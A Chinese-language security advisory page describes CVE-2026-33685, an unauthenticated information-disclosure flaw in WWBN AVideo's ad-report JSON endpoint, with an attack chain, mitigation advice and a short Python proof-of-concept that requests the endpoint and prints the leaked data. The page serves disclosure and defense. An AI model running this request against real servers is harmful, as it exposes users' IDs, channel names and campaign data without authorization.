IPBUF安全漏洞报告
English
CVE-2026-33685 CVSS 5.3 中危

CVE-2026-33685 AVideo未授权访问漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33685
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

信息泄露未授权访问AVideoCWE-862

漏洞概述

WWBN AVideo是一个广泛使用的开源视频平台。在26.0及更早版本中,系统存在严重的安全配置缺陷。攻击者无需经过任何身份认证,即可直接访问特定的API端点`plugin/AD_Server/reports.json.php`。该漏洞导致未授权用户能够窃取敏感的广告分析数据,包括视频标题、用户频道名称、用户ID、广告活动名称以及详细的展示与点击统计。虽然相关功能的HTML和CSV接口已受保护,但JSON接口被遗漏。

技术细节

该漏洞的根源在于WWBN AVideo后端代码中权限验证的不一致性。具体而言,`plugin/AD_Server/reports.json.php`文件在处理数据请求时,完全缺少了关键的身份验证和授权检查逻辑,即未调用`User::isAdmin()`函数来验证管理员权限。这与同目录下受保护的`reports.php`和`getCSV.php`形成了鲜明的对比。攻击者仅需向目标服务器发送一个简单的HTTP GET请求至该端点,服务器便会无条件地将数据库中的广告活动统计信息以JSON格式返回。这种逻辑缺陷使得攻击者能够轻易遍历并获取系统内的敏感运营数据,而无需利用任何复杂的绕过技术或登录凭证,构成了严重的信息泄露风险。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在使用WWBN AVideo平台,并确定版本可能受影响。
STEP 2
2. 发起攻击
攻击者无需登录,直接构造HTTP请求访问`/plugin/AD_Server/reports.json.php`接口。
STEP 3
3. 数据窃取
服务器响应请求并返回包含广告活动分析数据的JSON格式信息,攻击者解析并保存数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Target URL of the vulnerable endpoint target_url = "http://target-domain.com/plugin/AD_Server/reports.json.php" def check_vulnerability(url): try: # Send a GET request to the vulnerable endpoint response = requests.get(url, timeout=10) # Check if the response status is 200 and contains JSON data if response.status_code == 200: try: data = response.json() print("[+] Vulnerability Confirmed!") print("[+] Extracted Data:") print(data) except ValueError: print("[-] Response is not valid JSON.") else: print(f"[-] Target returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": check_vulnerability(target_url)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器或WAF层面限制对`/plugin/AD_Server/reports.json.php`路径的访问权限,仅允许受信任的IP地址或经过身份验证的用户访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表